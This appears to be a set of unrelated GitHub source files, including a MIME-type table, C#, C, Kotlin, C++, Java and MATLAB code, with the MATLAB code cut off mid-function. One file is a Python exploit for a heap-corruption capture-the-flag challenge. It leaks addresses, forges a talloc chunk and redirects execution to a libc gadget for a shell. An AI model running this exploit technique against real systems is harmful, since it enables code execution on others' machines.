# image/vnd.cns.inf2
image/vnd.dece.graphic uvi uvvi uvg uvvg
image/vnd.dvb.subtitle sub
image/vnd.djvu djvu djv
image/vnd.dwg dwg
image/vnd.dxf dxf
image/vnd.fastbidsheet fbs
image/vnd.fpx fpx
image/vnd.fst fst
image/vnd.fujixerox.edmics-mmr mmr
image/vnd.fujixerox.edmics-rlc rlc
# image/vnd.globalgraphics.pgb
# image/vnd.microsoft.icon
# image/vnd.mix
image/vnd.ms-modi mdi
image/vnd.ms-photo wdp
image/vnd.net-fpx npx
# image/vnd.radiance
# image/vnd.sealed.png
# image/vnd.sealedmedia.softseal.gif
# image/vnd.sealedmedia.softseal.jpg
# image/vnd.svf
image/vnd.wap.wbmp wbmp
image/vnd.xiff xif
image/webp webp
image/x-3ds 3ds
image/x-cmu-raster ras
image/x-cmx cmx
image/x-freehand fh fhc fh4 fh5 fh7
image/x-icon ico
image/x-mrsid-image sid
image/x-pcx pcx
image/x-pict pic pct
image/x-portable-anymap pnm
image/x-portable-bitmap pbm
image/x-portable-graymap pgm
image/x-portable-pixmap ppm
image/x-rgb rgb
image/x-tga tga
image/x-xbitmap xbm
image/x-xpixmap xpm
image/x-xwindowdump xwd
# message/cpim
# message/delivery-status
# message/disposition-notification
# message/example
# message/external-body
# message/feedback-report
# message/global
# message/global-delivery-status
# message/global-disposition-notification
# message/global-headers
# message/http
# message/imdn+xml
# message/news
# message/partial
message/rfc822 eml mime
# message/s-http
# message/sip
# message/sipfrag
# message/tracking-status
# message/vnd.si.simp
# model/example
model/iges igs iges
model/mesh msh mesh silo
model/vnd.collada+xml dae
model/vnd.dwf dwf
# model/vnd.flatland.3dml
model/vnd.gdl gdl
# model/vnd.gs-gdl
# model/vnd.gs.gdl
model/vnd.gtw gtw
# model/vnd.moml+xml
model/vnd.mts mts
# model/vnd.parasolid.transmit.binary
# model/vnd.parasolid.transmit.text
model/vnd.vtu vtu
model/vrml wrl vrml
model/x3d+binary x3db x3dbz
model/x3d+vrml x3dv x3dvz
model/x3d+xml x3d x3dz
# multipart/alternative
# multipart/appledouble
# multipart/byteranges
# multipart/digest
# multipart/encrypted
# multipart/example
# multipart/form-data
# multipart/header-set
# multipart/mixed
# multipart/parallel
# multipart/related
# multipart/report
# multipart/signed
# multipart/voice-message
# text/1d-interleaved-parityfec
text/cache-manifest appcache
text/calendar ics ifb
text/css css
text/csv csv
# text/directory
# text/dns
# text/ecmascript
# text/enriched
# text/example
# text/fwdred
text/html html htm
# text/javascript
text/n3 n3
# text/parityfec
text/plain txt text conf def list log in
# text/prs.fallenstein.rst
text/prs.lines.tag dsc
# text/vnd.radisys.msml-basic-layout
# text/red
# text/rfc822-headers
text/richtext rtx
# text/rtf
# text/rtp-enc-aescm128
# text/rtx
text/sgml sgml sgm
# text/t140
text/tab-separated-values tsv
text/troff t tr roff man me ms
text/turtle ttl
# text/ulpfec
text/uri-list uri uris urls
text/vcard vcard
# text/vnd.abc
text/vnd.curl curl
text/vnd.curl.dcurl dcurl
text/vnd.curl.scurl scurl
text/vnd.curl.mcurl mcurl
# text/vnd.dmclientscript
text/vnd.dvb.subtitle sub
# text/vnd.esmertec.theme-descriptor
text/vnd.fly fly
text/vnd.fmi.flexstor flx
text/vnd.graphviz gv
text/vnd.in3d.3dml 3dml
text/vnd.in3d.spot spot
# text/vnd.iptc.newsml
# text/vnd.iptc.nitf
# text/vnd.latex-z
# text/vnd.motorola.reflex
# text/vnd.ms-mediapackage
# text/vnd.net2phone.commcenter.command
# text/vnd.si.uricatalogue
text/vnd.sun.j2me.app-descriptor jad
# text/vnd.trolltech.linguist
# text/vnd.wap.si
# text/vnd.wap.sl
text/vnd.wap.wml wml
text/vnd.wap.wmlscript wmls
text/x-asm s asm
text/x-c c cc cxx cpp h hh dic
text/x-fortran f for f77 f90
text/x-java-source java
text/x-opml opml
text/x-pascal p pas
text/x-nfo nfo
text/x-setext etx
text/x-sfv sfv
text/x-uuencode uu
text/x-vcalendar vcs
text/x-vcard vcf
# text/xml
# text/xml-external-parsed-entity
# video/1d-interleaved-parityfec
video/3gpp 3gp
# video/3gpp-tt
video/3gpp2 3g2
# video/bmpeg
# video/bt656
# video/celb
# video/dv
# video/example
video/h261 h261
video/h263 h263
# video/h263-1998
# video/h263-2000
video/h264 h264
# video/h264-rcdo
# video/h264-svc
video/jpeg jpgv
# video/jpeg2000
video/jpm jpm jpgm
video/mj2 mj2 mjp2
# video/mp1s
# video/mp2p
# video/mp2t
video/mp4 mp4 mp4v mpg4
# video/mp4v-es
video/mpeg mpeg mpg mpe m1v m2v
# video/mpeg4-generic
# video/mpv
# video/nv
video/ogg ogv
# video/parityfec
# video/pointer
video/quicktime qt mov
# video/raw
# video/rtp-enc-aescm128
# video/rtx
# video/smpte292m
# video/ulpfec
# video/vc1
# video/vnd.cctv
video/vnd.dece.hd uvh uvvh
video/vnd.dece.mobile uvm uvvm
# video/vnd.dece.mp4
video/vnd.dece.pd uvp uvvp
video/vnd.dece.sd uvs uvvs
video/vnd.dece.video uvv uvvv
# video/vnd.directv.mpeg
# video/vnd.directv.mpeg-tts
# video/vnd.dlna.mpeg-tts
video/vnd.dvb.file dvb
video/vnd.fvt fvt
# video/vnd.hns.video
# video/vnd.iptvforum.1dparityfec-1010
# video/vnd.iptvforum.1dparityfec-2005
# video/vnd.iptvforum.2dparityfec-1010
# video/vnd.iptvforum.2dparityfec-2005
# video/vnd.iptvforum.ttsavc
# video/vnd.iptvforum.ttsmpeg2
# video/vnd.motorola.video
# video/vnd.motorola.videop
video/vnd.mpegurl mxu m4u
video/vnd.ms-playready.media.pyv pyv
# video/vnd.nokia.interleaved-multimedia
# video/vnd.nokia.videovoip
# video/vnd.objectvideo
# video/vnd.sealed.mpeg1
# video/vnd.sealed.mpeg4
# video/vnd.sealed.swf
# video/vnd.sealedmedia.softseal.mov
video/vnd.uvvu.mp4 uvu uvvu
video/vnd.vivo viv
video/webm webm
video/x-f4v f4v
video/x-fli fli
video/x-flv flv
video/x-m4v m4v
video/x-matroska mkv mk3d mks
video/x-mng mng
video/x-ms-asf asf asx
video/x-ms-vob vob
video/x-ms-wm wm
video/x-ms-wmv wmv
video/x-ms-wmx wmx
video/x-ms-wvx wvx
video/x-msvideo avi
video/x-sgi-movie movie
video/x-smv smv
x-conference/x-cooltalk ice
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2014 <a href="http://www.gutgames.com">James Craig</a>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.*/
using System.Security.Cryptography;
using System.Text;
using Utilities.IO.Encryption.Interfaces;
namespace Utilities.IO.Encryption.BaseClasses
{
/// <summary>
/// Asymmetric base class
/// </summary>
public abstract class AsymmetricBase : IAsymmetric
{
/// <summary>
/// Constructor
/// </summary>
protected AsymmetricBase()
{
}
/// <summary>
/// Name of the encryptor
/// </summary>
public abstract string Name { get; }
/// <summary>
/// Creates a new set of keys
/// </summary>
/// <param name="PrivatePublic">True if private key should be included, false otherwise</param>
/// <returns>XML representation of the key information</returns>
public string CreateKey(bool PrivatePublic)
{
using (AsymmetricAlgorithm Provider = GetProvider())
{
return Provider == null ? "" : Provider.ToXmlString(PrivatePublic);
}
}
/// <summary>
/// Decrypts a byte array using RSA
/// </summary>
/// <param name="Input">
/// Input byte array (should be small as anything over 128 bytes can not be decrypted)
/// </param>
/// <param name="Key">Key to use for decryption</param>
/// <returns>A decrypted byte array</returns>
public abstract byte[] Decrypt(byte[] Input, string Key);
/// <summary>
/// Encrypts a string using RSA
/// </summary>
/// <param name="Input">
/// Input byte array (should be small as anything over 128 bytes can not be decrypted)
/// </param>
/// <param name="Key">Key to use for encryption</param>
/// <returns>An encrypted byte array (64bit string)</returns>
public abstract byte[] Encrypt(byte[] Input, string Key);
/// <summary>
/// Takes a string and creates a signed hash of it
/// </summary>
/// <param name="Input">Input string</param>
/// <param name="Key">Key to encrypt/sign with</param>
/// <param name="Hash">This will be filled with the unsigned hash</param>
/// <param name="EncodingUsing">Encoding that the input is using (defaults to UTF8)</param>
/// <returns>A signed hash of the input (64bit string)</returns>
public abstract string SignHash(string Input, string Key, out string Hash, Encoding EncodingUsing = null);
/// <summary>
/// Verifies a signed hash against the unsigned version
/// </summary>
/// <param name="Hash">The unsigned hash (should be 64bit string)</param>
/// <param name="SignedHash">The signed hash (should be 64bit string)</param>
/// <param name="Key">The key to use in decryption</param>
/// <returns>True if it is verified, false otherwise</returns>
public abstract bool VerifyHash(string Hash, string SignedHash, string Key);
/// <summary>
/// Gets the provider used
/// </summary>
/// <returns>Asymmetric algorithm</returns>
protected abstract AsymmetricAlgorithm GetProvider();
}
} | {
"pile_set_name": "Github"
} |
/*
* ALSA driver for ICEnsemble VT1724 (Envy24HT)
*
* Lowlevel functions for Advanced Micro Peripherals Ltd AUDIO2000
*
* Copyright (c) 2000 Jaroslav Kysela <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#include <linux/delay.h>
#include <linux/interrupt.h>
#include <linux/init.h>
#include <sound/core.h>
#include "ice1712.h"
#include "envy24ht.h"
#include "amp.h"
static void wm_put(struct snd_ice1712 *ice, int reg, unsigned short val)
{
unsigned short cval;
cval = (reg << 9) | val;
snd_vt1724_write_i2c(ice, WM_DEV, cval >> 8, cval & 0xff);
}
static int snd_vt1724_amp_init(struct snd_ice1712 *ice)
{
static const unsigned short wm_inits[] = {
WM_ATTEN_L, 0x0000, /* 0 db */
WM_ATTEN_R, 0x0000, /* 0 db */
WM_DAC_CTRL, 0x0008, /* 24bit I2S */
WM_INT_CTRL, 0x0001, /* 24bit I2S */
};
unsigned int i;
/* only use basic functionality for now */
/* VT1616 6ch codec connected to PSDOUT0 using packed mode */
ice->num_total_dacs = 6;
ice->num_total_adcs = 2;
/* Chaintech AV-710 has another WM8728 codec connected to PSDOUT4
(shared with the SPDIF output). Mixer control for this codec
is not yet supported. */
if (ice->eeprom.subvendor == VT1724_SUBDEVICE_AV710) {
for (i = 0; i < ARRAY_SIZE(wm_inits); i += 2)
wm_put(ice, wm_inits[i], wm_inits[i+1]);
}
return 0;
}
static int snd_vt1724_amp_add_controls(struct snd_ice1712 *ice)
{
if (ice->ac97)
/* we use pins 39 and 41 of the VT1616 for left and right
read outputs */
snd_ac97_write_cache(ice->ac97, 0x5a,
snd_ac97_read(ice->ac97, 0x5a) & ~0x8000);
return 0;
}
/* entry point */
struct snd_ice1712_card_info snd_vt1724_amp_cards[] = {
{
.subvendor = VT1724_SUBDEVICE_AV710,
.name = "Chaintech AV-710",
.model = "av710",
.chip_init = snd_vt1724_amp_init,
.build_controls = snd_vt1724_amp_add_controls,
},
{
.subvendor = VT1724_SUBDEVICE_AUDIO2000,
.name = "AMP Ltd AUDIO2000",
.model = "amp2000",
.chip_init = snd_vt1724_amp_init,
.build_controls = snd_vt1724_amp_add_controls,
},
{ } /* terminator */
};
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
import time
import re
host = "10.211.55.16"
port = 8888
#host = "spacerex.bostonkey.party"
#port = 6666
sock = make_conn(host,port)
def addplant(sock,name,choice,ring = 1,co = None):
recvuntil(sock,"_")
sendline(sock,name)
recvuntil(sock,"_")
if co :
sendline(sock,co)
else :
sendline(sock,"123")
recvuntil(sock,"_")
sendline(sock,"234")
recvuntil(sock,"_")
sendline(sock,"35")
recvuntil(sock,"_")
sendline(sock,"567")
recvuntil(sock,"_")
sendline(sock,"888")
recvuntil(sock,"_")
sendline(sock,"1")
recvuntil(sock,"_")
sendline(sock,"100")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,"0")
recvuntil(sock,"_")
sendline(sock,choice)
if choice == "R" :
recvuntil(sock,"_")
sendline(sock,str(ring))
if choice == "M" :
recvuntil(sock,"_")
sendline(sock,"1")
recvuntil(sock,"_")
sendline(sock,"100")
recvuntil(sock,"_")
sendline(sock,ring)
def create(sock,name,types,temperature,plant = 0,plantname = None,choice = None,ring= None):
recvuntil(sock,"__")
sendline(sock,"1")
recvuntil(sock,"_")
sendline(sock,name)
recvuntil(sock,"_")
sendline(sock,str(types))
recvuntil(sock,"_")
sendline(sock,str(temperature))
recvuntil(sock,"_")
sendline(sock,str(plant))
if plant :
addplant(sock,plantname,choice,ring)
def display(sock) :
recvuntil(sock,"__")
sendline(sock,"5")
recvuntil(sock,"_")
sendline(sock,"-1")
recvuntil(sock,"_")
sendline(sock,"y")
data = recvuntil(sock,"Exit")
return data
create(sock,"ddaa",1,13212,1,"orange","R",str(13371337))
recvuntil(sock,"_")
sendline(sock,"6")
recvuntil(sock,"_")
sendline(sock,"ddaa")
recvuntil(sock,"__")
sendline(sock,"6")
addplant(sock,"mehhh","M","aaa")
recvuntil(sock,"__")
sendline(sock,"2")
recvuntil(sock,"_")
sendline(sock,"orange")
data = display(sock).split("\n")
rawheapptr = data[13].split("%")
rawtxtptr = data[19].split("%")
rawlibcptr = data[27].split("%")
heapptr = 0
for i in range(8):
if i == 0:
heapptr = int(rawheapptr[i].split()[1])
txtptr = int(rawtxtptr[i].split()[1])
libcptr = int(rawlibcptr[i].split()[1])
else :
heapptr += int(rawheapptr[i].strip()) << i*8
txtptr += int(rawtxtptr[i].strip()) << i*8
libcptr += int(rawlibcptr[i].strip()) << i*8
heapbase = heapptr - 0x4d40
codebase = txtptr - 0x40f3
libc = libcptr - 0x3c4c58 + 0x64a0
#libc = libcptr - 0x3c4c58
print "heap :",hex(heapbase)
print "text :",hex(codebase)
print "libc :",hex(libc)
magic = libc + 0xe681d
chunkaddr = heapbase + 0x56e0 + 0x20
talloc_chunk = pack(0) #padding
talloc_chunk += pack(libc+0x3be740-0x68) #talloc_pool_hdr end
talloc_chunk += pack(0) #talloc_pool_hdr cnt
talloc_chunk += pack(0x200) #pool size
talloc_chunk += pack(0)
talloc_chunk += pack(0x424242424242)# talloc_chunk size
talloc_chunk += pack(0) #prev
talloc_chunk += pack(0) #parent
talloc_chunk += pack(0) #child
talloc_chunk += pack(0) #refs
talloc_chunk += pack(0) #dtor
talloc_chunk += pack(0) #name
talloc_chunk += pack(70) #size
talloc_chunk += pack(0xe8150c74) #flags | TALLOC_FLAG_POOL
talloc_chunk += pack(0)
recvuntil(sock,"__")
sendline(sock,"6")
addplant(sock,"meh","M",talloc_chunk)
recvuntil(sock,"__")
sendline(sock,"6")
addplant(sock,"meh33","R",chunkaddr+0x60)
recvuntil(sock,"__")
sendline(sock,"3")
recvuntil(sock,"_")
sendline(sock,"meh33")
recvuntil(sock,"_")
sendline(sock,"123")
recvuntil(sock,"_")
sendline(sock,pack(magic))
recvuntil(sock,"__")
sendline(sock,"6")
inter(sock)
| {
"pile_set_name": "Github"
} |
From 4f804765c7bc86b7b622c268aa36f872fdad8f5c Mon Sep 17 00:00:00 2001
From: Ahmet Inan <[email protected]>
Date: Fri, 1 Sep 2017 15:14:23 +0200
Subject: [PATCH 163/454] config: Add EETI EXC3000 touch controller module
Signed-off-by: Ahmet Inan <[email protected]>
---
arch/arm/configs/bcm2709_defconfig | 1 +
arch/arm/configs/bcmrpi_defconfig | 1 +
2 files changed, 2 insertions(+)
--- a/arch/arm/configs/bcm2709_defconfig
+++ b/arch/arm/configs/bcm2709_defconfig
@@ -554,6 +554,7 @@ CONFIG_JOYSTICK_RPISENSE=m
CONFIG_INPUT_TOUCHSCREEN=y
CONFIG_TOUCHSCREEN_ADS7846=m
CONFIG_TOUCHSCREEN_EGALAX=m
+CONFIG_TOUCHSCREEN_EXC3000=m
CONFIG_TOUCHSCREEN_GOODIX=m
CONFIG_TOUCHSCREEN_EDT_FT5X06=m
CONFIG_TOUCHSCREEN_RPI_FT5406=m
--- a/arch/arm/configs/bcmrpi_defconfig
+++ b/arch/arm/configs/bcmrpi_defconfig
@@ -549,6 +549,7 @@ CONFIG_JOYSTICK_RPISENSE=m
CONFIG_INPUT_TOUCHSCREEN=y
CONFIG_TOUCHSCREEN_ADS7846=m
CONFIG_TOUCHSCREEN_EGALAX=m
+CONFIG_TOUCHSCREEN_EXC3000=m
CONFIG_TOUCHSCREEN_GOODIX=m
CONFIG_TOUCHSCREEN_EDT_FT5X06=m
CONFIG_TOUCHSCREEN_RPI_FT5406=m
| {
"pile_set_name": "Github"
} |
# Hydra example config source
Use this as the template a Hydra config source plugin
Config source plugins are allowing Hydra to recognize other search path schemas in addition to the built in
`file://` (which provides access to configs in the file system) and
`pkg://` (which provides access to configs installed with a Python package)
This config source hard codes all the responses so it's not very useful.
Please base your tests on the data in hydra_root/tests/test_apps/config_source_test/dir.
All config sources need to pass the ConfigSourceTestSuite tests, which are expecting those specific responses.
When implementing a new config source, be sure to run it through the test suite to ensure it always behaves the same
as the other config sources.
| {
"pile_set_name": "Github"
} |
; RUN: not llvm-as -disable-output < %s 2>&1 | FileCheck %s
; Check common error from old format.
; CHECK: {{.*}}:[[@LINE+1]]:{{[0-9]+}}: error: unexpected type in metadata definition
!0 = metadata !{}
| {
"pile_set_name": "Github"
} |
{
"variants": {
"type=north": { "model": "quark:block/duskbound_block_vertical_slab", "y": 0, "uvlock": true },
"type=south": { "model": "quark:block/duskbound_block_vertical_slab", "y": 180, "uvlock": true },
"type=east": { "model": "quark:block/duskbound_block_vertical_slab", "y": 90, "uvlock": true },
"type=west": { "model": "quark:block/duskbound_block_vertical_slab", "y": 270, "uvlock": true },
"type=double": { "model": "quark:block/duskbound_block" }
}
}
| {
"pile_set_name": "Github"
} |
/**
MIT License
Copyright (c) 2016 Shaun Reich <[email protected]>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package com.ore.infinium.util
import com.badlogic.gdx.math.MathUtils
import com.badlogic.gdx.utils.TimeUtils
/**
* Returns a new mutable list of @param n items,
* each having the value of @param value
*
* To be more similar to Array.fill()
*/
fun <T> mutableListOfNulls(n: Int) =
mutableListOf<T?>().apply {
repeat(n) {
add(null)
}
}
/**
*
* returns result of lambda, so we can e.g. return an element outward, by doing
*
* list.mapFirstNotNull { it.mapFirstNotNull { it.firstOrNull { it.predicate() } } }
*
* allowing us to get the element that matches that predicate, outside of the nesting
* lambdas.
* @author sreich
*/
inline fun <T, R : Any> Iterable<T>.firstNotNull(selector: (T) -> R?): R? {
forEach { selector(it)?.let { return it } }
return null
}
fun Int.isNegative(): Boolean {
return Math.abs(this) != this
}
fun profilerStart(name: String = ""): Long {
return TimeUtils.nanoTime()
}
fun profilerStopAndPrintMs(prevTimeNs: Long) {
val ns = TimeUtils.timeSinceNanos(prevTimeNs)
val ms = TimeUtils.nanosToMillis(ns)
println("PROFILER measured time: $ms ms")
}
/**
* profile time taken, execute a function, print result in ms
* and return result of function call
*/
fun <T> printMeasureTimeMs(block: () -> T, customString: String = ""): T {
val start = System.currentTimeMillis()
val result = block()
val time = System.currentTimeMillis() - start
println("PROFILER measured time: $time ms $customString")
return result
}
/**
* format to 2 decimals by default, or whatever you specify.
*/
fun Float.format(format: String = "%.4f") = String.format(format, this)
/**
* converts a multiline (\n)string into a single line one,
* also trims the margin, delimited by '|'.
*
* this is for allowing to use the multiline string syntax
* but still keep it on one actual line. string concatenation
* is what I hate, but I also hate huge length statements
*/
fun String.toSingleLine(): String {
return this.trimMargin().filterNot { it -> it == '\n' }
}
/**
* @return string indicating "enabled" or "disabled,
* based on true/false
* @author sreich
*/
fun Boolean.enabled() = if (this) {
"enabled"
} else {
"disabled"
}
/**
* @return string indicating "On" or "Off,
* based on true/false
* @author sreich
*/
fun Boolean.onOffString() = if (this) {
"On"
} else {
"Off"
}
/**
* @return true if negative
* @author sreich
*/
fun Float.isNegative(): Boolean {
return Math.abs(this) != this
}
/**
* @author sreich
*/
fun Float.abs(): Float {
return Math.abs(this)
}
/**
* @author sreich
*/
fun Float.floor(): Int {
return MathUtils.floor(this)
}
fun Float.floorf(): Float {
return MathUtils.floor(this).toFloat()
}
fun Float.ceil(): Int {
return MathUtils.ceil(this)
}
fun Float.round(): Int {
return Math.round(this)
}
| {
"pile_set_name": "Github"
} |
#include <enoki/stl.h>
#include <mitsuba/core/frame.h>
#include <mitsuba/core/properties.h>
#include <mitsuba/core/spectrum.h>
#include <mitsuba/core/warp.h>
#include <mitsuba/render/interaction.h>
#include <mitsuba/render/medium.h>
#include <mitsuba/render/sampler.h>
#include <mitsuba/render/scene.h>
#include <mitsuba/render/texture.h>
NAMESPACE_BEGIN(mitsuba)
template <typename Float, typename Spectrum>
class HeterogeneousMedium final : public Medium<Float, Spectrum> {
public:
MTS_IMPORT_BASE(Medium, m_is_homogeneous, m_has_spectral_extinction)
MTS_IMPORT_TYPES(Scene, Sampler, Texture, Volume)
HeterogeneousMedium(const Properties &props) : Base(props) {
m_is_homogeneous = false;
m_albedo = props.volume<Volume>("albedo", 0.75f);
m_sigmat = props.volume<Volume>("sigma_t", 1.f);
m_scale = props.float_("scale", 1.0f);
m_has_spectral_extinction = props.bool_("has_spectral_extinction", true);
m_max_density = m_scale * m_sigmat->max();
m_aabb = m_sigmat->bbox();
}
UnpolarizedSpectrum
get_combined_extinction(const MediumInteraction3f & /* mi */,
Mask active) const override {
// TODO: This could be a spectral quantity (at least in RGB mode)
MTS_MASKED_FUNCTION(ProfilerPhase::MediumEvaluate, active);
return m_max_density;
}
std::tuple<UnpolarizedSpectrum, UnpolarizedSpectrum, UnpolarizedSpectrum>
get_scattering_coefficients(const MediumInteraction3f &mi,
Mask active) const override {
MTS_MASKED_FUNCTION(ProfilerPhase::MediumEvaluate, active);
auto sigmat = m_scale * m_sigmat->eval(mi, active);
auto sigmas = sigmat * m_albedo->eval(mi, active);
auto sigman = get_combined_extinction(mi, active) - sigmat;
return { sigmas, sigman, sigmat };
}
std::tuple<Mask, Float, Float>
intersect_aabb(const Ray3f &ray) const override {
return m_aabb.ray_intersect(ray);
}
void traverse(TraversalCallback *callback) override {
callback->put_parameter("scale", m_scale);
callback->put_object("albedo", m_albedo.get());
callback->put_object("sigma_t", m_sigmat.get());
Base::traverse(callback);
}
std::string to_string() const override {
std::ostringstream oss;
oss << "HeterogeneousMedium[" << std::endl
<< " albedo = " << string::indent(m_albedo) << std::endl
<< " sigma_t = " << string::indent(m_sigmat) << std::endl
<< " scale = " << string::indent(m_scale) << std::endl
<< "]";
return oss.str();
}
MTS_DECLARE_CLASS()
private:
ref<Volume> m_sigmat, m_albedo;
ScalarFloat m_scale;
ScalarBoundingBox3f m_aabb;
ScalarFloat m_max_density;
};
MTS_IMPLEMENT_CLASS_VARIANT(HeterogeneousMedium, Medium)
MTS_EXPORT_PLUGIN(HeterogeneousMedium, "Heterogeneous Medium")
NAMESPACE_END(mitsuba)
| {
"pile_set_name": "Github"
} |
package railo.transformer.cfml.script;
import java.util.HashMap;
import java.util.Map;
import railo.transformer.bytecode.Literal;
import railo.transformer.bytecode.literal.LitString;
import railo.transformer.bytecode.statement.tag.Attribute;
public class DocComment {
private StringBuilder tmpHint=new StringBuilder();
private String hint;
//private List<DocCommentParam> params=new ArrayList<DocComment.DocCommentParam>();
Map<String,Attribute> params=new HashMap<String, Attribute>();
public void addHint(char c){
tmpHint.append(c);
}
public void addParam(Attribute attribute){
params.put(attribute.getName(),attribute);
}
/**
* @return the hint
*/
public String getHint() {
if(hint==null) {
Attribute attr = params.remove("hint");
if(attr!=null) {
Literal lit=(Literal) attr.getValue();
hint=lit.getString().trim();
}
else {
hint=DocCommentTransformer.unwrap(tmpHint.toString());
}
}
return hint;
}
public Attribute getHintAsAttribute() {
return new Attribute(true,"hint",LitString.toExprString(getHint()),"string");
}
/**
* @return the params
*/
public Map<String,Attribute> getParams() {
return params;
}
}
| {
"pile_set_name": "Github"
} |
function PopDec = EGOSelect(Global,Population,L1,L2,Ke,delta,nr)
% Selecting Points for Function Evaluation with the assistance of the
% Gaussian models
%------------------------------- Copyright --------------------------------
% Copyright (c) 2018-2019 BIMK Group. You are free to use the PlatEMO for
% research purposes. All publications which use this platform or any code
% in the platform should acknowledge the use of "PlatEMO" and reference "Ye
% Tian, Ran Cheng, Xingyi Zhang, and Yaochu Jin, PlatEMO: A MATLAB platform
% for evolutionary multi-objective optimization [educational forum], IEEE
% Computational Intelligence Magazine, 2017, 12(4): 73-87".
%--------------------------------------------------------------------------
% This function is written by Cheng He
%% Fuzzy clustering the solutions
[model,centers] = FCMmodel(Global,Population,L1,L2);
%% MOEA/D-DE optimization, where the popsize is set to N, the maximum evaluations is maxeva
Z = min(Population.objs,[],1);
maxeva = 20*(11*Global.D-1);
%% Generate the weight vectors
N = [200 300 595 600 800 800 800 800 800 800];
[W, N] = UniformPoint(N,Global.M);
T = ceil(N/10);
B = pdist2(W,W);
[~,B] = sort(B,2);
B = B(:,1:T);
duplicated = randi(length(Population),N,1);
NewPop = Population(duplicated); % Sample N individuals from the initial population
PopDec = NewPop.decs; PopObj = NewPop.objs;
gmin = inf;
while (maxeva>0)
for i = 1 : N
if rand < delta
P = B(i,randperm(size(B,2)));
else
P = randperm(N);
end
OffDec = DE(PopDec(i,:),PopDec(P(1),:),PopDec(P(2),:));
OffObj = evaluate(Global,OffDec,model,centers);
Z = min(Z,OffObj);
g_old = max(abs(PopObj(P,:) - repmat(Z,length(P),1)).*W(P,:),[],2);
g_new = max(repmat(abs(OffObj-Z),length(P),1).*W(P,:),[],2);
gmin = min([gmin,min(g_old),min(g_new)]);
offindex = P(find(g_old>g_new,nr));
if ~isempty(offindex)
PopDec(offindex,:) = repmat(OffDec,length(offindex),1);
PopObj(offindex,:) = repmat(OffObj,length(offindex),1);
end
end
maxeva = maxeva - N;
end
%% Select the unsimilar candidate solutions
Q = []; temp = Population.decs;
for i = 1 : N
if min(pdist2(real(PopDec(i,:)),real(temp))) > 1e-5
Q = [Q,i];
temp = [temp;PopDec(i,:)];
end
end
PopDec = PopDec(Q,:);
%% Kmeans cluster the solutions into Ke clusters and select the solutions with the maximum EI in each cluster
cindex = kmeans(real(PopDec),Ke);
Q = [];
for i = 1 : Ke
index = find(cindex == i);
temp = PopDec(index,:);
[tempObj,tempMSE] = evaluate(Global,temp,model,centers);
K = length(index);
EI = zeros(K,1);
for j = 1 : K
[~,r] = min(max(abs(repmat(tempObj(j,:)-Z,size(W,1),1)).*W,[],2));
EI(j) = EICal(real(tempObj(j,:)),Z,W(r,:),abs(tempMSE(j,:)),gmin);
end
[~,best] = max(EI);
Q = [Q,index(best)];
end
PopDec = PopDec(Q,:);
end
function EI = EICal(Obj,Z,lamda,MSE,Gbest)
% Calculate the expected improvement
M = size(Obj,2);
u = lamda.*(Obj - Z);
sigma2 = lamda.^2.*MSE;
lamda0 = lamda(1:2); mu0 = u(1:2); sig20 = sigma2(1:2);
[y,x] = GPcal(lamda0,mu0,abs(sig20));
if M >= 3
for i = 3 : M
lamda0 = [1, lamda(i)]; mu0 = [y,u(i)]; sig20 = [x,sigma2(i)];
[y,x] = GPcal(lamda0,mu0,abs(sig20));
end
end
EI = (Gbest-y)*normcdf((Gbest-y/sqrt(x))) + sqrt(x)*normpdf((Gbest-y)/sqrt(x));
end
function [y,x] = GPcal(lamda,mu,sig2)
% Calculate the mu (x) and sigma^2 (y) of the aggregation function
tao = sqrt(lamda(1)^2*sig2(1) + lamda(2)^2*sig2(2));
alpha = (mu(1)-mu(2))/tao;
